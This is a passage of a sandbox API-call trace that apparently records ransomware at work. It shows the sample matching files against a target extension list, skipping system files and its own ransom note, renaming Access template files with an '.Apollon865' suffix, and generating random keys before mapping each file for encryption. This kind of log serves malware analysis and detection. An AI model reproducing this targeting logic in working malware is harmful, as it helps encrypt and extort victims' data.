	[0065.226] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.226] lstrlenW (lpString="rar") returned 3
	[0065.226] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.226] lstrlenW (lpString="zip") returned 3
	[0065.226] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.226] lstrlenW (lpString="tgz") returned 3
	[0065.226] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.226] lstrlenW (lpString="vbox") returned 4
	[0065.226] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.226] lstrlenW (lpString="vdi") returned 3
	[0065.226] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.226] lstrlenW (lpString="vhd") returned 3
	[0065.226] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.226] lstrlenW (lpString="vhdx") returned 4
	[0065.226] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.226] lstrlenW (lpString="avhd") returned 4
	[0065.226] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.226] lstrlenW (lpString="db") returned 2
	[0065.226] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.226] lstrlenW (lpString="db2") returned 3
	[0065.226] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.227] lstrlenW (lpString="db3") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.227] lstrlenW (lpString="dbf") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.227] lstrlenW (lpString="mdf") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.227] lstrlenW (lpString="mdb") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.227] lstrlenW (lpString="sql") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.227] lstrlenW (lpString="sqlite") returned 6
	[0065.227] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.227] lstrlenW (lpString="sqlite3") returned 7
	[0065.227] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0065.227] lstrlenW (lpString="sqlitedb") returned 8
	[0065.227] lstrcmpiW (lpString1="es.accdt", lpString2="sqlitedb") returned -1
	[0065.227] lstrlenW (lpString="xml") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.227] lstrlenW (lpString="$er") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.227] lstrlenW (lpString="4dd") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.227] lstrlenW (lpString="4dl") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.227] lstrlenW (lpString="^^^") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.227] lstrlenW (lpString="abs") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.227] lstrlenW (lpString="abx") returned 3
	[0065.227] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.227] lstrlenW (lpString="accdb") returned 5
	[0065.227] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.227] lstrlenW (lpString="accdc") returned 5
	[0065.227] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.227] lstrlenW (lpString="accde") returned 5
	[0065.228] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.228] lstrlenW (lpString="accdr") returned 5
	[0065.228] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.228] lstrlenW (lpString="accdt") returned 5
	[0065.228] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.228] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt.Apollon865") returned 84
	[0065.228] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.228] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=50784) returned 1
	[0065.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.229] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.230] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.230] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.230] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc960, lpName=0x0) returned 0x150
	[0065.239] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc960) returned 0x100000
	[0065.241] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.242] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.242] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.242] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.242] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.242] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.242] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.243] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.243] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.243] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.243] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.243] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.243] CloseHandle (hObject=0x150) returned 1
	[0065.243] CloseHandle (hObject=0x118) returned 1
	[0065.243] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.244] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.244] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.244] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f504700, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f504700, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6072, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="List.accdt", cAlternateFileName="LIST~1.ACC")) returned 1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2=".") returned 1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="..") returned 1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="windows") returned -1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="bootmgr") returned 1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="temp") returned -1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="pagefile.sys") returned -1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="boot") returned 1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="ids.txt") returned 1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="ntuser.dat") returned -1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="perflogs") returned -1
	[0065.244] lstrcmpiW (lpString1="List.accdt", lpString2="MSBuild") returned -1
	[0065.244] lstrlenW (lpString="List.accdt") returned 10
	[0065.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt") returned 73
	[0065.244] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="List.accdt" | out: lpString1="List.accdt") returned="List.accdt"
	[0065.245] lstrlenW (lpString="List.accdt") returned 10
	[0065.245] lstrlenW (lpString="Apollon865") returned 10
	[0065.245] lstrlenW (lpString=".dll") returned 4
	[0065.245] lstrcmpiW (lpString1="List.accdt", lpString2=".dll") returned 1
	[0065.245] lstrlenW (lpString=".lnk") returned 4
	[0065.245] lstrcmpiW (lpString1="List.accdt", lpString2=".lnk") returned 1
	[0065.245] lstrlenW (lpString=".ini") returned 4
	[0065.245] lstrcmpiW (lpString1="List.accdt", lpString2=".ini") returned 1
	[0065.245] lstrlenW (lpString=".sys") returned 4
	[0065.245] lstrcmpiW (lpString1="List.accdt", lpString2=".sys") returned 1
	[0065.245] lstrlenW (lpString="List.accdt") returned 10
	[0065.245] lstrlenW (lpString="bak") returned 3
	[0065.245] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.245] lstrlenW (lpString="ba_") returned 3
	[0065.245] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.245] lstrlenW (lpString="dbb") returned 3
	[0065.245] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.245] lstrlenW (lpString="vmdk") returned 4
	[0065.245] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.245] lstrlenW (lpString="rar") returned 3
	[0065.245] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.245] lstrlenW (lpString="zip") returned 3
	[0065.245] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.245] lstrlenW (lpString="tgz") returned 3
	[0065.245] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.245] lstrlenW (lpString="vbox") returned 4
	[0065.245] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.245] lstrlenW (lpString="vdi") returned 3
	[0065.245] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.245] lstrlenW (lpString="vhd") returned 3
	[0065.245] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.245] lstrlenW (lpString="vhdx") returned 4
	[0065.245] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.245] lstrlenW (lpString="avhd") returned 4
	[0065.246] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.246] lstrlenW (lpString="db") returned 2
	[0065.246] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.246] lstrlenW (lpString="db2") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.246] lstrlenW (lpString="db3") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.246] lstrlenW (lpString="dbf") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.246] lstrlenW (lpString="mdf") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.246] lstrlenW (lpString="mdb") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.246] lstrlenW (lpString="sql") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.246] lstrlenW (lpString="sqlite") returned 6
	[0065.246] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.246] lstrlenW (lpString="sqlite3") returned 7
	[0065.246] lstrcmpiW (lpString1="t.accdt", lpString2="sqlite3") returned 1
	[0065.246] lstrlenW (lpString="sqlitedb") returned 8
	[0065.246] lstrcmpiW (lpString1="st.accdt", lpString2="sqlitedb") returned 1
	[0065.246] lstrlenW (lpString="xml") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.246] lstrlenW (lpString="$er") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.246] lstrlenW (lpString="4dd") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.246] lstrlenW (lpString="4dl") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.246] lstrlenW (lpString="^^^") returned 3
	[0065.246] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.246] lstrlenW (lpString="abs") returned 3
	[0065.247] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.247] lstrlenW (lpString="abx") returned 3
	[0065.247] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.247] lstrlenW (lpString="accdb") returned 5
	[0065.247] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.247] lstrlenW (lpString="accdc") returned 5
	[0065.247] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.247] lstrlenW (lpString="accde") returned 5
	[0065.247] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.247] lstrlenW (lpString="accdr") returned 5
	[0065.247] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.247] lstrlenW (lpString="accdt") returned 5
	[0065.247] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.247] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt.Apollon865") returned 82
	[0065.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.248] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=24690) returned 1
	[0065.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.249] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.249] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.249] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.249] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6380, lpName=0x0) returned 0x150
	[0065.251] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6380) returned 0x100000
	[0065.252] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.253] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.253] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.254] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.254] CloseHandle (hObject=0x150) returned 1
	[0065.254] CloseHandle (hObject=0x118) returned 1
	[0065.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.254] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb000bd00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb000bd00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x50d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media.accdt", cAlternateFileName="MEDIA~1.ACC")) returned 1
	[0065.254] lstrcmpiW (lpString1="Media.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.254] lstrcmpiW (lpString1="Media.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2=".") returned 1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2="..") returned 1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2="windows") returned -1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2="bootmgr") returned 1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2="temp") returned -1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2="pagefile.sys") returned -1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2="boot") returned 1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2="ids.txt") returned 1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2="ntuser.dat") returned -1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2="perflogs") returned -1
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2="MSBuild") returned -1
	[0065.255] lstrlenW (lpString="Media.accdt") returned 11
	[0065.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt") returned 71
	[0065.255] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Media.accdt" | out: lpString1="Media.accdt") returned="Media.accdt"
	[0065.255] lstrlenW (lpString="Media.accdt") returned 11
	[0065.255] lstrlenW (lpString="Apollon865") returned 10
	[0065.255] lstrcmpiW (lpString1="edia.accdt", lpString2="Apollon865") returned 1
	[0065.255] lstrlenW (lpString=".dll") returned 4
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2=".dll") returned 1
	[0065.255] lstrlenW (lpString=".lnk") returned 4
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2=".lnk") returned 1
	[0065.255] lstrlenW (lpString=".ini") returned 4
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2=".ini") returned 1
	[0065.255] lstrlenW (lpString=".sys") returned 4
	[0065.255] lstrcmpiW (lpString1="Media.accdt", lpString2=".sys") returned 1
	[0065.255] lstrlenW (lpString="Media.accdt") returned 11
	[0065.255] lstrlenW (lpString="bak") returned 3
	[0065.255] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.256] lstrlenW (lpString="ba_") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.256] lstrlenW (lpString="dbb") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.256] lstrlenW (lpString="vmdk") returned 4
	[0065.256] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.256] lstrlenW (lpString="rar") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.256] lstrlenW (lpString="zip") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.256] lstrlenW (lpString="tgz") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.256] lstrlenW (lpString="vbox") returned 4
	[0065.256] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.256] lstrlenW (lpString="vdi") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.256] lstrlenW (lpString="vhd") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.256] lstrlenW (lpString="vhdx") returned 4
	[0065.256] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.256] lstrlenW (lpString="avhd") returned 4
	[0065.256] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.256] lstrlenW (lpString="db") returned 2
	[0065.256] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.256] lstrlenW (lpString="db2") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.256] lstrlenW (lpString="db3") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.256] lstrlenW (lpString="dbf") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.256] lstrlenW (lpString="mdf") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.256] lstrlenW (lpString="mdb") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.256] lstrlenW (lpString="sql") returned 3
	[0065.256] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.257] lstrlenW (lpString="sqlite") returned 6
	[0065.257] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.257] lstrlenW (lpString="sqlite3") returned 7
	[0065.257] lstrcmpiW (lpString1="a.accdt", lpString2="sqlite3") returned -1
	[0065.257] lstrlenW (lpString="sqlitedb") returned 8
	[0065.257] lstrcmpiW (lpString1="ia.accdt", lpString2="sqlitedb") returned -1
	[0065.257] lstrlenW (lpString="xml") returned 3
	[0065.257] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.257] lstrlenW (lpString="$er") returned 3
	[0065.257] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.257] lstrlenW (lpString="4dd") returned 3
	[0065.257] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.257] lstrlenW (lpString="4dl") returned 3
	[0065.257] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.257] lstrlenW (lpString="^^^") returned 3
	[0065.257] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.257] lstrlenW (lpString="abs") returned 3
	[0065.257] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.257] lstrlenW (lpString="abx") returned 3
	[0065.257] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.257] lstrlenW (lpString="accdb") returned 5
	[0065.257] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.257] lstrlenW (lpString="accdc") returned 5
	[0065.257] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.257] lstrlenW (lpString="accde") returned 5
	[0065.257] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.257] lstrlenW (lpString="accdr") returned 5
	[0065.257] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.257] lstrlenW (lpString="accdt") returned 5
	[0065.257] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.257] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt.Apollon865") returned 83
	[0065.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.258] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=20690) returned 1
	[0065.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.259] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
